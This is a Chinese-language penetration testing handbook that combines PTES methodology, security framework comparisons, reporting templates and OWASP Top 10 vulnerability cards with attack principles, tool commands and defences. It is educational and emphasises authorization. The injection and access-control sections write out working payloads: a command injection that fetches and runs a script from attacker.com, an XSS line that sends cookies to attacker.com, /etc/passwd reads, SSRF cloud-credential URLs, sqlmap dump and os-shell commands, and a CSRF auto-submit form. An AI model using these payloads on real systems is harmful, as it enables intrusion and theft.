INTEGRATED PENTEST HANDBOOK · 2026

渗透测试知识库

将 PTES 方法论框架、NIST/OSSTMM/OWASP 多框架对比、以及 OWASP Top 10 漏洞攻防技术整合为一份可执行的手册。
第一部分讲「怎么测」,第二部分讲「测什么」,第三部分讲「特殊场景怎么测」,三者在阶段衔接处互相指引。

7 个 PTES 阶段12 类 OWASP 漏洞50+ 工具命令3 大专项边界

00 · 使用指南:三份报告的整合逻辑

本手册整合了三份原始报告的核心内容:报告 A(PTES 工作台)侧重流程与检查清单;报告 B(完整学习手册)侧重框架对比与深度方法论;报告 C(OWASP 攻防手册)侧重具体漏洞技术与工具命令。

以 PTES 七阶段为骨架

第一部分覆盖从授权到复测的完整项目流程,把报告 A 和 B 的去重内容按阶段重组。

以 OWASP 漏洞为血肉

第二部分把报告 C 的漏洞详解嵌入对应阶段,在「漏洞分析」与「渗透利用」阶段提供技术实现。

穿插指引不迷路

每个阶段末尾标注「详见第二部分第 X 章」;每个漏洞卡片顶部标注「所属 PTES 阶段」。

专项边界单独成章

Web/API、网络/认证、内网/云/OT 等不能混用一套打法的场景,在第三部分独立展开。

授权/ROE情报收集威胁建模漏洞分析渗透利用后渗透报告复测
阅读建议新手建议先通读本页建立全局认知 → 按 PTES 顺序逐阶段学习 → 遇到具体技术点时跳转到第二部分查看漏洞原理与命令 → 实战前过一遍第三部分的专项边界与检查清单。

01 · 框架总览:这些框架各自解决什么问题

不要把它们当成互相竞争的"唯一标准"。更实用的做法是:用 PTES 组织渗透测试叙事,用 NIST 组织测试治理和技术方法,用 OWASP WSTG 深入 Web/API,用 OSSTMM 补充渠道、测量与操作安全。

PTES

项目执行主线:从前期沟通到报告,7 个阶段覆盖端到端测试生命周期。

NIST SP 800-115

技术安全测试与评估指南:规划 → 执行 → 测试后活动;政府背书。

OWASP WSTG

Web 应用测试知识库:信息收集、配置、身份、访问控制、输入验证、业务逻辑、API 等 12 大类。

OSSTMM

以 Human、Physical、Wireless、Telecommunications、Data Networks 等渠道组织测试,强调信任分析与可重复测量。

MITRE ATT&CK

战术 × 技术知识库。每个发现可标注技术编号,支撑红队模拟、紫队验证、检测工程闭环。

CREST / TIBER-EU

CREST 约束专业服务能力与质量;TIBER-EU 是情报驱动的监管级红队框架,面向金融业。

七框架横向对比

框架发布方结构核心特点最佳适用
PTES安全社区 2009+7 阶段流程端到端覆盖;强调被忽略的前期交互与后渗透通用渗透测试项目骨架
NIST SP 800-115NIST 20084 阶段政府背书;测试/检查/访谈三类方法政企/合规项目权威背书
OSSTMM 3ISECOM5 通道 + RAV覆盖面最广;可量化安全度量含物理/社工的综合审计
OWASP WSTGOWASP 社区12 类测试用例Web/API 测试最权威的内容清单Web 测试用例级依据
MITRE ATT&CKMITRE 2013+战术 × 技术攻防共同语言;可生成攻击热力图报告标注/红队/紫队
Cyber Kill ChainLockheed Martin7 步线性模型高层视角,断任意一环即胜攻击叙事与管理层汇报
TIBER-EU欧洲央行3 阶段情报驱动;强制紫队复盘金融机构合规 TLPT
记忆口诀PTES 管流程、OWASP 管用例、ATT&CK 管语言、Kill Chain 管叙事、OSSTMM 管度量、NIST 管背书、TIBER 管合规。一个成熟项目通常是"PTES 骨架 + WSTG 用例 + ATT&CK 标注 + Kill Chain 汇报"的组合。

框架映射关系

PTES(7 阶段)NIST(4 阶段)Kill ChainATT&CK 战术
1 前期交互计划 Planning
2 情报收集发现 Discovery侦察TA0043 Reconnaissance
3 威胁建模武器化TA0042 Resource Development
4 漏洞分析攻击 Attack投递TA0001 Initial Access
5 渗透利用利用TA0002 Execution / TA0004 Privilege Escalation
6 后渗透安装 / C2 / 达成目标Persistence / Discovery / Lateral Movement / Exfiltration
7 报告报告 Reporting防御复盘全矩阵热力图

四类活动的区分

活动类型核心目的深度/广度蓝队知情周期
漏洞扫描自动化发现已知漏洞广度优先,不验证可利用性通常知情小时~天
渗透测试验证漏洞真实可利用性与业务影响深度优先,人工验证 + 利用链通常知情1~4 周
红队演练以达成特定目标为导向的全方位隐蔽攻击目标导向,含社工/物理/钓鱼通常不知情数周~数月
紫队演练红蓝协同,逐条验证检测与响应能力按 ATT&CK 技术逐条过深度协作天~周,可持续

三种测试模式

  • 黑盒(Black-box):零先验知识,仅提供目标名称。最贴近外部攻击者,但时间成本高、覆盖率低。
  • 白盒(White-box):提供源码、架构、账号。单位时间发现最多问题,适合上线前深度测试。
  • 灰盒(Grey-box):介于两者之间,典型做法是提供普通用户账号。商业项目中最常见。

02 · 前期交互:把"能不能打、怎么打"写成纸面约定

这不是行政前置,而是技术测试的安全边界。没有清晰授权,就无法判断一个动作是测试还是越界。

红线口头授权无效、范围外资产绝不触碰、对第三方资产默认无授权。在中国境内,未获授权对计算机信息系统进行扫描、入侵可能触犯《刑法》第 285、286 条——授权文件是测试者的"护身符"。

必须写清的范围

  • 目标 IP、域名、云账户、应用、API、无线和物理范围
  • 允许的时间窗口、源 IP、测试账号、联系人
  • 明确排除:第三方、生产数据、DoS、社工、持久化、破坏性利用
  • 允许的验证深度:仅证明漏洞、获取低权限 Shell,还是允许影响评估

ROE 最小模板

目标:明确 IP / 域名 / 应用 / API
允许动作:发现、枚举、低风险验证;利用需单独批准
禁止动作:DoS、破坏、真实凭据爆破、未授权横向
时间:开始 / 结束 / 黑名单窗口
来源:测试机 IP 与 User-Agent
停止条件:服务错误率、账号锁定、数据访问、告警升级
联系人:技术、业务、应急响应
交付:原始证据、发现清单、风险、修复、复测

认证测试特殊要求

必须写明测试账号、每账号/全局最大尝试次数、最小延迟、并发、锁定监测和立即停止路径;未经单独明确批准,禁止对真实账号进行猜测、喷洒或撞库。

阶段衔接指引

授权确认后,进入 第三章 情报收集。在测试执行过程中,所有技术动作都受本章 ROE 约束;若发现需扩大范围,必须回到本章重新审批。

03 · 情报收集:先看清楚,再决定打哪里

以攻击者视角建立目标的攻击面地图。分两路推进:被动侦察(OSINT)不与目标直接交互;主动侦察直接接触目标、会进日志,噪音级别需对齐 ROE。

被动侦察(OSINT)

子任务方法工具说明
域名与资产证书透明度、DNS 枚举、子域爆破crt.sh、Subfinder、Amass被动为主
人员情报搜索引擎语法、招聘 JD、社交网站theHarvester、Hunter.io邮箱格式、技术栈线索
暴露面测绘互联网测绘平台检索Shodan、Censys、FOFA不接触目标即可拿到开放端口
代码与凭据泄露代码托管平台检索GitHub 搜索、Gitleaks、TruffleHog硬编码密钥是常见突破口

主动侦察

# 只针对授权目标,先做低风险服务识别
nmap -Pn -sV --version-light -p 22,80,443,8080 TARGET
curl -i --max-time 10 https://TARGET/
# 记录:时间、源地址、命令、输出、异常、下一步假设

资产台账字段

每个资产记录:地址、端口、服务、版本、环境、负责人、来源、首次/最近发现时间、下一步假设。

关键判断当 Banner、TLS、TCP 特征或认证行为互相矛盾时,不要立即断言"是某种系统"或"是蜜罐";应标记为"指纹不确定",用独立方法交叉验证。
阶段衔接指引

资产地图建立后,进入 第四章 威胁建模。情报收集阶段发现的技术栈信息将直接输入威胁建模的入口分析。

04 · 威胁建模:决定测什么,而不是盲目扫什么

把情报转化为攻击优先级。回答三个问题:哪些资产最值钱?哪类攻击者最现实?他们最可能走哪条路径?

资产

系统、应用、API、身份、数据、网络边界

入口

公网服务、登录、上传、导入、Webhook、第三方集成

信任边界

匿名用户、普通用户、管理员、服务账号、内部网络

高价值路径

认证绕过、越权、敏感数据、命令执行、业务资金/权限

把假设写成可验证句子

  • "未认证用户可能访问管理员对象;验证标准是使用测试对象 A/B 对比响应和权限。"
  • "上传功能可能只按扩展名判断类型;验证标准是无害 Canary 文件在受控目录的处理结果。"
  • "SSH 可能允许密码认证;验证标准是服务端认证方式和审计日志,而不是单看 Banner。"

结构化建模方法

  • STRIDE:按欺骗/篡改/抵赖/信息泄露/拒绝服务/权限提升六类威胁枚举
  • PASTA:七步风险中心方法
  • DREAD:风险打分(危害性/复现性/可利用性/影响面/可发现性)
  • 攻击树(Attack Tree):从目标倒推所需条件

输出 优先级列表、测试用例、需要的账号/数据、禁止的动作、成功与失败判据。

阶段衔接指引

威胁建模产出「候选攻击路径清单」后,进入 第五章 漏洞分析。此时应已明确哪些漏洞类型最可能存在于目标,可直接跳转 第二部分 注入类漏洞访问控制类 查看具体检测方法。

05 · 漏洞分析:把线索变成优先级

系统性地发现弱点,并通过人工验证剔除误报。自动化扫描给广度,人工分析给深度——两者缺一不可。

确认事实

版本、配置、输入点、身份、对象、边界、错误信息、可重复性

判断可能性

结合公开漏洞、配置弱点、业务逻辑,但不要把版本命中直接当成可利用

评估价值

可达性、权限、数据敏感度、横向可能性、业务影响、检测概率、修复难度

发现分级

  • 信息:技术栈、版本、公开目录等线索
  • 疑似:异常响应或扫描器命中,但缺少可重复证明
  • 确认:在授权范围内用无害、最小化步骤稳定复现
  • 高影响确认:还需证明影响边界,不应为了"展示威力"扩大数据访问
停止点如果验证已经证明漏洞存在,不要继续读取真实敏感数据、建立持久化、横向移动或破坏系统,除非 ROE 明确批准。

工具选择

对象自动化工具人工 / 半自动要点
主机与网络Nessus、OpenVAS、NucleiNmap NSE、手工 Banner扫描器结果必须逐条人工核实
Web 应用AWVS、XrayBurp Suite、浏览器 DevTools按 WSTG 用例逐项过;业务逻辑只能靠人工
APIPostman + 自定义脚本Burp、jwt_tool重点测越权(BOLA/IDOR)与限流
配置与合规Lynis、CIS Benchmarks配置基线人工比对误报率高,需结合业务场景
常见误区把扫描器原始输出直接当作发现写进报告——这是"扫描器代测"的典型特征,也是报告质量的第一杀手。
技术实现指引

本章讲「怎么管理漏洞分析流程」,具体漏洞的检测原理、Payload、工具命令详见第二部分

注入类(SQLi / CMDi / XSS) · 访问控制(IDOR / 遍历 / SSRF) · 配置与供应链(XXE / 反序列化 / 上传) · 认证与会话(爆破 / JWT / MFA)

06 · 渗透利用:证明漏洞"真的能用"

对已确认漏洞实施受控利用,拿到初始访问权限,用事实证明"该漏洞在真实攻击中可造成入侵"。一切动作以 ROE 为边界:能证明即可,不做破坏性动作。

决策循环

我知道什么缺什么证据哪个动作风险最低成功/失败长什么样是否需要升级

利用阶段三原则

可证明即可停

拿到能证明访问的证据就停手,不恋战

不碰真实数据

证明数据库可读时 select 一行非敏感字段或仅列库名,绝不拖库

每一步留证

截图带时间戳与目标,详见第八章证据链

# 常用利用工具速查
sqlmap -u "URL?id=1" --batch --risk=1 --level=1
python commix.py --url="http://target.com/ping?host=127.0.0.1" --batch
dalfox url "http://target.com/search?q=test" -b https://your.xss.ht
hydra -L users.txt -P pass.txt -t 4 ssh://target
java -jar ysoserial.jar CommonsCollections1 "touch /tmp/pwned" > payload.ser
技术实现指引

上述命令的完整参数说明、WAF 绕过技巧、防御方案详见第二部分各漏洞卡片的「工具与命令」和「防御手段」标签页。

07 · 后渗透:从"打开一扇门"到"证明业务损失"

后渗透的核心不是"拿到 Shell 后继续做更多事",而是回答:初始问题能造成多大真实影响?

权限确认

确认身份、角色、可访问资源,不扩大数据范围

路径确认

只验证必要的最短攻击链,不做无关横向

数据证明

优先元数据、标记文件、哈希、脱敏样本

清理与恢复

删除测试账号/文件/会话,核对系统状态

后渗透工具选择

子任务工具说明
本地信息收集与提权LinPEAS / WinPEAS枚举配置错误、弱权限、内核漏洞
凭据获取Mimikatz、Responder内存凭据、LLMNR/NBT-NS 投毒
域环境路径分析BloodHound + SharpHound图化展示到 Domain Admin 的最短路径
横向移动NetExec、Impacket逐跳验证,记录每一跳的凭据来源
隧道与中转Chisel、frp、SSH 转发以失陷主机为跳板进入不可直连网段
C2 与持久化Cobalt Strike、Sliver仅在有明确授权时使用;持久化必须登记以便清理

影响叙事模板

前置条件:攻击者需要什么权限/网络位置?
利用动作:哪一个输入/认证/配置导致问题?
直接影响:可读取、修改或执行什么?
边界:哪些资源明确无法访问?
业务影响:机密性/完整性/可用性/合规/财务/检测能力
证据:时间、请求、响应、日志、截图、复现步骤
修复:具体控制措施与优先级
复测:如何证明问题已修复且没有回归
清理义务后渗透结束时必须移除所有植入物——Webshell、新增账号、计划任务、后门服务、上传的工具文件,并逐项与客户确认。

08 · 证据、报告与复测闭环

证据链回答一个问题:三个月后,当别人质疑"这个漏洞真的存在吗",你能否拿出完整、可复现、不可抵赖的记录?

合格证据的六个标准

标准要求反例
有时间戳截图含系统时间;关键动作精确到秒一张没有任何时间信息的 shell 截图
有上下文包含目标 URL/IP、完整命令与输出只截"uid=0(root)",看不出打的是谁
可复现报告中的步骤能让第三方从零走通"用 Burp 改包即可"式的一句话
最小暴露口令、密钥、PII 一律脱敏截图里带着真实用户身份证号
完整性可校验证据归档后计算 SHA-256证据在多人手里传来传去无法确认
链式连贯跨多步攻击链,每个节点证据互相衔接只有入口和域管截图,中间三跳无记录

证据目录结构

PENTEST-PROJECT/
├── 00-admin/          # 合同、授权书、ROE
├── 01-recon/          # 资产清单、OSINT、扫描输出
├── 02-evidence/       # 每个发现一个文件夹
│   ├── FND-01/        # 截图 / 请求响应对 / pcap
│   └── FND-02/
├── 03-notes/          # 时间线操作日志
├── 04-report/         # 报告草稿与终稿
└── 05-handover/       # 交付证据包(加密)、哈希清单

时间线日志格式

2026-08-14 09:32:11 UTC+8 | 10.20.0.15 | nmap -sV -sC -Pn 203.0.113.0/28
2026-08-14 10:05:47 UTC+8 | 10.20.0.15 | Burp 重放 /api/orders/1042 → 越权成功
2026-08-14 11:41:03 UTC+8 | 10.20.0.15 | 删除临时账号 pentest_tmp01

报告整体结构

#章节读者要点
1封面与文档信息所有人项目名、版本历史、密级、分发名单
2执行摘要管理层1–2 页,业务语言零术语;Top 3-5 风险一句话讲清后果
3范围与方法审计/技术目标、排除项、黑/灰/白盒、遵循的方法论
4风险总览管理层各级别数量统计、攻击路径全景图
5发现汇总表所有人编号、标题、严重度、CVSS、状态一屏看完
6发现详情工程师逐项按模板展开
7修复路线图管理层/PM按优先级排序、责任人建议、Quick Win
8复测结果所有人前后对照证据
9正面观察所有人测试中验证为有效的安全控制
10附录技术工具版本、原始输出、证据索引、术语表

单项发现模板

FND-01 | 发票接口越权读取(IDOR)
严重度: 高(HIGH)  CVSS: 8.1  状态: Open
位置: api.example.com — GET /v2/invoices/{id}
ATT&CK: T1190 Exploit Public-Facing Application
─────────────────────────────────────────────
描述: 接口仅校验登录态,未校验发票归属。任意注册用户修改
      路径中的数字 ID 即可读取他人发票。
前置条件: 任一有效普通用户账号;发票 ID 为自增整数。
复现步骤: 1. 以用户 A 登录,创建发票得到 id=1042
          2. 以用户 B 登录,请求 GET /v2/invoices/1042
          3. 响应返回用户 A 的发票完整内容
影响: 全量用户发票数据可被批量遍历窃取,构成 PII 泄露事件。
修复建议: 在服务层授权中间件中校验 invoice.owner_id == 当前用户 ID
参考: OWASP WSTG-ATHZ-01 / CWE-639 / API1 Broken Object Level Auth
责任人/期限: 后端组 · 14 天内(HIGH SLA)

09 · 复测与闭环管理

报告交付不是终点——风险真正降低的唯一证据是"复测通过"。没有复测的渗透测试,只是制造了一份昂贵的待办清单。

闭环流程

交付与解读修复跟踪申请复测复测验证关闭归档

发现状态机

状态含义进入条件
OPEN已确认,未修复报告交付时默认状态
IN PROGRESS修复进行中责任人认领并启动修复
READY FOR RETEST待复测修复方声明已修复,提交复测申请
CLOSED复测通过原步骤复现失败,前后证据对照齐全
RISK ACCEPTED风险接受业务方书面确认接受残余风险(需管理层签字)
REOPENED复测未通过/复发复测仍可复现,回到 OPEN 并升级关注

闭环健康度指标

指标计算反映什么
闭环率已关闭发现数 / 发现总数整改推进力度;建议按严重度分层统计
MTTR平均修复时长(按等级)修复效率 vs SLA 达成情况
复测通过率一次复测通过数 / 复测总数修复质量;通过率低说明开发理解偏差大
复发率再次打开的同类发现占比是否存在系统性根因(框架缺陷、培训缺失)
持续验证单次测试闭环之后是关键资产的持续验证:互联网暴露系统每半年一次、重大版本上线前必测,中间以周期性漏洞扫描与漏洞赏金计划补充。成熟度更高的组织则走向紫队常态化——按 ATT&CK 技术逐条验证检测规则。

10 · 完整项目检查清单

按"启动前 → 执行中 → 收尾 → 交付后"四个时点组织的核对清单,可直接在页面上勾选(状态保存在浏览器本地)。

A · 项目启动前(授权与范围)

B · 执行中(每阶段出口检查)

C · 收尾(清理与证据归档)

D · 报告与交付后(闭环)

11 · OWASP Top 10:2021 → 2025 对照

2025 版收录超过 280 万个应用的测试数据、分析 589 个 CWE。核心变化:SSRF 并入访问控制失效;安全配置错误跃升第 2;新增「异常情况处理不当」;「易受攻击组件」扩展为「软件供应链故障」。

2025 排名类别2021 对应变化要点
A01访问控制失效A01→ 持平稳居首位;SSRF 并入本类
A02安全配置错误A05↑ 上升第 5 → 第 2;XXE 归入本类
A03软件供应链故障A06↑ 上升平均利用与影响评分最高
A04加密机制失效A02↓ 下降排名下降
A05注入A03↓ 下降XSS 自 2021 起并入注入类
A06不安全设计A04↓ 下降威胁建模有所改善
A07身份认证失效A07→ 持平聚焦现代登录/会话/令牌流程
A08完整性失效A08→ 持平含不安全反序列化
A09日志与告警失效A09→ 持平强调「告警与有效检测」
A10异常情况处理不当★ 新增错误泄露、fail-open、边界条件
数据背景2021 版数据显示:94.55% 的应用存在某种形式的访问控制问题,相关 CVE 达 19,013 个;94% 的应用被测出某种形式的注入问题。访问控制失效在数据中最为严峻。
方法论关联

OWASP 漏洞检测与利用对应 PTES 的 第五章 漏洞分析第六章 渗透利用。每个漏洞卡片顶部标注了「所属 PTES 阶段」。

12 · 注入类漏洞:SQL 注入、OS 命令注入、XSS

注入是 OWASP 榜单的「常青树」。2021 版数据显示,94% 的应用被测出某种形式的注入问题。根源在于程序将用户输入直接拼接进代码逻辑结构。

A05:2025

SQL 注入 SQL Injection · 所属 PTES 阶段:漏洞分析 / 渗透利用

攻击原理
工具与命令
防御手段

SQL 注入的根源在于程序将用户输入直接拼接进 SQL 语句,使输入数据得以改变代码的逻辑结构。由此可衍生认证绕过、数据拖库、篡改数据乃至写 Webshell。

-- 攻击者输入 admin' -- 后,密码校验被注释符失效
SELECT * FROM users WHERE username = 'admin' -- ' AND password = '任意';

主要攻击类型

联合查询注入
' UNION SELECT 1,version(),user()-- -
将攻击者查询结果附加回显到页面
报错注入
' AND updatexml(1,concat(0x7e,(SELECT user())),1)-- -
触发数据库错误,让错误信息携带数据
布尔盲注
' AND SUBSTRING(database(),1,1)='a'-- -
通过真/假响应差异逐位推断
时间盲注
' AND IF(1=1,SLEEP(5),0)-- -
通过响应延迟判断条件真假
堆叠注入
'; DROP TABLE temp;-- -
分号执行多条语句(依赖驱动支持)
二次注入 / 宽字节
admin'-- / %bf%27
入库后二次拼接触发 / GBK 吃掉转义符

sqlmap 是 SQL 注入自动化检测与利用的事实标准工具。

# 基础检测(GET 参数)
sqlmap -u "http://target.com/page.php?id=1" --batch
# 从 Burp 抓包文件测试 POST 请求
sqlmap -r request.txt --batch
# 指定参数 + 提升检测级别与风险
sqlmap -u "URL" -p id --level=3 --risk=2 --batch
# 枚举数据库 → 表 → 列 → 拖库
sqlmap -u "URL" --dbs --batch
sqlmap -u "URL" -D dbname --tables --batch
sqlmap -u "URL" -D dbname -T users -C username,password --dump --batch
# 指定注入技术(B布尔/E报错/U联合/S堆叠/T时间)
sqlmap -u "URL" --technique=BEUST --batch
# 读文件 / OS Shell(高危,仅限授权靶场)
sqlmap -u "URL" --file-read=/etc/passwd
sqlmap -u "URL" --os-shell
注意:--level(1–5)控制深度;--risk(1–3)控制攻击性,risk=3 的 OR 型 Payload 可能修改数据,生产环境慎用。

WAF 绕过:tamper 脚本

# 经典组合:注释替换空格 + 随机大小写 + BETWEEN 替换比较符
sqlmap -u "URL" --tamper=space2comment,randomcase,between --random-agent --delay=2 --batch
sqlmap --list-tampers   # 查看全部内置绕过脚本

1. 参数化查询(预编译)—— 根治方案

将 SQL 结构与数据彻底分离,任何输入都只是数据:

String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement ps = conn.prepareStatement(sql);
ps.setString(1, username);
ps.setString(2, password);
ResultSet rs = ps.executeQuery();
# Python 参数化,禁止 % 拼接
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s",
               (username, password))

2. 配套纵深防线

  • ORM 框架:MyBatis 用 #{} 而非 ${},避免原生 SQL 拼接接口
  • 输入校验:白名单校验类型与长度;排序字段等无法参数化的位置用枚举映射
  • 最小权限:Web 数据库账户禁用 FILE、DROP、写权限,按业务拆分账户
  • 错误收敛:禁止向用户回显 SQL 错误堆栈(报错注入的土壤)
  • WAF + 告警:ModSecurity CRS 内置 SQLi 规则,对异常查询速率告警
注入sqlmap数据库UNION盲注
A05:2025

OS 命令注入 OS Command Injection · 所属 PTES 阶段:渗透利用

攻击原理
工具与命令
防御手段

当应用把用户输入拼接到系统命令中执行(PHP 的 system()、Python 的 os.system()),攻击者可通过命令分隔符注入任意命令。通用分隔符:& && | ||;Unix 特有:;、换行符、反引号、$()

host=127.0.0.1; whoami                    # 分号拼接
host=127.0.0.1 && cat /etc/passwd
host=127.0.0.1 | id
host=$(curl http://attacker.com/s.sh|sh)  # 命令替换

无回显时采用盲注手法:时间延迟(sleep 10)、输出重定向到 Web 可访问目录、带外交互(nslookup $(whoami).attacker.com)。

# Commix:命令注入自动化工具
python commix.py --url="http://target.com/ping?host=127.0.0.1" --batch
# 手工验证(Burp Repeater 改包)
GET /ping?host=127.0.0.1%3bcat%20/etc/passwd HTTP/1.1
# 时间盲注探测
curl "http://target.com/ping?host=127.0.0.1;sleep+5" -w "%{time_total}
"
# DNS 带外
GET /ping?host=127.0.0.1;nslookup+$(whoami).xxxx.dnslog.cn
  • 首选方案:不调用系统命令。用语言内置 API 替代(如 Java 的 InetAddress 代替调用 ping)
  • 必须调用时使用参数数组形式而非 shell 拼接:
# 安全:shell=False + 参数数组,杜绝分隔符注入
subprocess.run(["ping", host], shell=False)
  • 严格白名单校验输入(IP/域名格式正则),拒绝一切元字符
  • 最小权限运行应用进程,限制出站连接与可写目录
  • 监控异常子进程创建行为(RASP/HIDS)
注入RCECommix带外
A05:2025

跨站脚本 XSS Cross-Site Scripting · 所属 PTES 阶段:漏洞分析 / 渗透利用

攻击原理
工具与命令
防御手段

XSS 的本质是攻击者将恶意脚本注入网页,在其他用户浏览器中执行。根源:服务器将用户可控数据输出到 HTML 页面时未做安全处理。

三大类型

反射型 Reflected
?q=<script>alert(1)</script>
恶意代码嵌入 URL,诱导点击后反射执行
存储型 Stored
昵称/评论区写入 <img onerror=…>
恶意代码持久化于服务器,所有访问者触发
DOM 型
location.hash → innerHTML
前端 JS 不当处理输入,不经过服务器响应

经典 Payload 与绕过

<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
<ScRiPt>alert(1)</ScRiPt>           <!-- 大小写绕过 -->
<scr<script>ipt>alert(1)</script>   <!-- 双写绕过 -->

dalfox 是目前最主流的开源 XSS 扫描器(Go 编写),支持反射/存储/DOM 三类自动化检测。

# 单目标扫描
dalfox url "http://testphp.vulnweb.com/listproducts.php?cat=1"
# 携带 Cookie 与盲 XSS 回调平台
dalfox url "https://target.com/search?q=test" -C "session=xxx" -b https://your.xss.ht
# 批量管道模式
cat urls.txt | dalfox pipe
# 存储型 XSS:注入点与触发点分离验证
dalfox sxss "https://target.com/update_profile" -d "nickname=test"   --trigger "https://target.com/my_profile"

其他工具:XSStrikeBurp ScannerDOM Invader(专测 DOM XSS)。

1. 输出编码(上下文相关)—— 核心防线

根据输出位置选择编码:HTML 体转义 < > & " ';属性、JS 上下文、URL 分别用对应编码。使用成熟库(OWASP Java Encoder、DOMPurify)而非手写。

// 危险:直接把用户输入写入 DOM
element.innerHTML = userInput;
// 安全:textContent(纯文本)或 DOMPurify 消毒
element.textContent = userInput;
element.innerHTML = DOMPurify.sanitize(userInput);

2. CSP 内容安全策略

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'; base-uri 'self'
  • Cookie 加固HttpOnly + Secure + SameSite
  • 输入校验:长度限制;富文本场景白名单标签过滤
  • 现代框架默认转义;避免 dangerouslySetInnerHTMLv-html
  • 辅助头:X-Content-Type-Options: nosniffX-Frame-Options: DENY
注入XSSdalfoxCSPCookie

13 · 访问控制类:越权、路径遍历、SSRF、CSRF

访问控制失效连续多年位居 OWASP 榜首:2021 版数据显示 94.55% 的应用存在某种形式的访问控制缺陷,相关 CVE 达 19,013 个。2025 版将 SSRF 并入本类。

A01:2025

越权 / IDOR Broken Access Control · 所属 PTES 阶段:漏洞分析

攻击原理
工具与命令
防御手段

本质:服务端未对每个请求做「你是谁、你能访问什么」的强制校验

  • 水平越权:同级用户互访数据(用户 A 查看/修改用户 B 的订单)
  • 垂直越权:低权限用户执行高权限操作(普通用户调用管理员接口)
# 水平越权:修改资源 ID
GET /api/user/123/profile  →  GET /api/user/456/profile
# 垂直越权:普通用户直接调用管理接口
POST /admin/deleteUser?id=100
# 参数级越权:篡改角色字段
{"user_id": 123, "role": "admin"}

检测工具:Burp 插件 Autorize——以高权限用户会话为基准,自动用低权限会话重放所有请求,对比响应差异批量发现越权点。

  • 服务端逐请求鉴权:绝不依赖前端隐藏按钮——「界面不展示 ≠ 接口不可达」
  • 对象级授权(BOLA 防护):每个资源访问必须校验归属:
# 错误:只查 ID,不查归属
order = db.get("SELECT * FROM orders WHERE id = %s", order_id)
# 正确:WHERE 条件绑定当前用户
order = db.get("SELECT * FROM orders WHERE id = %s AND user_id = %s",
               order_id, current_user.id)
  • 使用不可猜测的资源标识(UUID 代替自增 ID)作为纵深补充,但不可替代鉴权
  • 默认拒绝策略 + 集中式权限模型(RBAC/ABAC),API 网关统一鉴权
  • 越权访问行为记入安全日志并告警
访问控制越权IDORBOLAAutorize
A01:2025

路径遍历 Path Traversal · 所属 PTES 阶段:漏洞分析 / 渗透利用

攻击原理
工具与命令
防御手段

攻击者通过 ../ 序列跳出预期目录读取任意文件:/etc/passwd、配置文件 .env、数据库备份、源代码等。

GET /download?file=../../../../etc/passwd
file=/etc/passwd                          # 直接用绝对路径
file=....//....//etc/passwd               # 非递归剥离绕过
file=%2e%2e%2f%2e%2e%2fetc/passwd         # URL 编码
file=%252e%252e%252fetc%252fpasswd        # 双重 URL 编码
file=../../../etc/passwd%00.png           # 空字节截断后缀校验

常用工具:Burp Suite、OWASP ZAP、DirBuster、wfuzz、Nikto。

最佳实践是避免把用户输入直接传给文件系统 API;必须接受时按「白名单 → 拼接到基目录 → 规范化 → 校验前缀」流程处理:

File file = new File(BASE_DIRECTORY, userInput);
if (file.getCanonicalPath().startsWith(BASE_DIRECTORY + File.separator)) {
    // 规范化后的路径仍在基目录内,安全
} else {
    throw new SecurityException("非法路径");
}
  • Web 进程低权限运行、敏感目录禁止 Web 用户访问
  • 日志监控异常路径访问
访问控制任意文件读取../wfuzz
A01:2025

服务端请求伪造 SSRF Server-Side Request Forgery · 所属 PTES 阶段:渗透利用

攻击原理
工具与命令
防御手段

SSRF 是「服务器替攻击者打洞」:应用根据用户提供的 URL 发起请求(图片加载、URL 预览、Webhook),攻击者控制请求目标,利用服务器所处的可信网络位置访问内网。经典案例:2019 年 Capital One 数据泄露(SSRF + AWS 元数据服务),波及约 1 亿用户。

云元数据窃取
http://169.254.169.254/latest/meta-data/iam/security-credentials/
AWS,可拿临时 AK/SK 接管云资源
内网探测
http://192.168.0.1:22
扫描内网存活主机与端口
本地文件读取
file:///etc/passwd
file 协议读取服务器文件
攻击内网 Redis
gopher://127.0.0.1:6379/_SET%20test%20hello
gopher 协议构造任意 TCP 数据
http://2130706433            # 十进制 IP = 127.0.0.1
http://0x7f000001            # 十六进制 IP
http://[::ffff:127.0.0.1]    # IPv6 映射
http://xxx@evil.com          # @ 符号混淆
# 短链接 / 302 重定向 → 内网 IP(绕过入口校验)
# DNS Rebinding:首次解析合法 IP,TTL 过期后指向 169.254.169.254
  • 白名单优先:只允许预定义可信域名/IP;必须支持任意 URL 时,将域名解析为规范 IP 后再判断是否属于内网段(10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、127.0.0.0/8、169.254.0.0/16)
  • 协议白名单:仅允许 http/https,禁用 file://、gopher://、dict://、ftp://
  • 禁用 HTTP 重定向(followRedirect=false)
  • 防 DNS Rebinding:同时校验 A + AAAA 记录、限制 DNS TTL
  • 云环境启用 IMDSv2(元数据服务需带 Token 请求)
  • 网络层兜底:防火墙限制服务器出站(egress 白名单)、微隔离
访问控制SSRF云元数据gopherDNS Rebinding
关联 A01

跨站请求伪造 CSRF Cross-Site Request Forgery · 所属 PTES 阶段:漏洞分析

攻击原理
工具与命令
防御手段

CSRF 利用浏览器自动携带目标站点 Cookie 的机制:用户已登录银行站点 A,此时访问攻击者页面 B,B 中隐藏的表单自动向 A 发起转账请求,浏览器携带 A 的会话 Cookie。

<form action="https://bank.example.com/transfer" method="POST" id="f">
  <input type="hidden" name="to" value="attacker_account">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('f').submit();</script>
CSRF 与 XSS 的区别:XSS 是获取 Cookie/控制客户端;CSRF 是劫持用户身份让客户端做不愿做的事。XSS 危害更大,CSRF 触发条件更苛刻。
  1. 用 Burp Suite 抓取目标请求
  2. 删除/篡改请求中的 CSRF Token、修改或删除 Referer 头
  3. 重放请求——若仍成功则存在漏洞

Burp Suite Professional 可右键 「Generate CSRF PoC」自动生成攻击 HTML 页面。

1. 同步器令牌模式 —— 主防线

每个会话/请求生成不可预测的随机 CSRF Token,嵌入表单隐藏字段或自定义请求头,服务端比对。Token 不能放在 Cookie 中

<form method="post" action="/transfer">
  <input type="hidden" name="_csrf" value="安全随机值">
</form>

2. SameSite Cookie

Set-Cookie: JSESSIONID=randomid; Secure; HttpOnly; SameSite=Lax
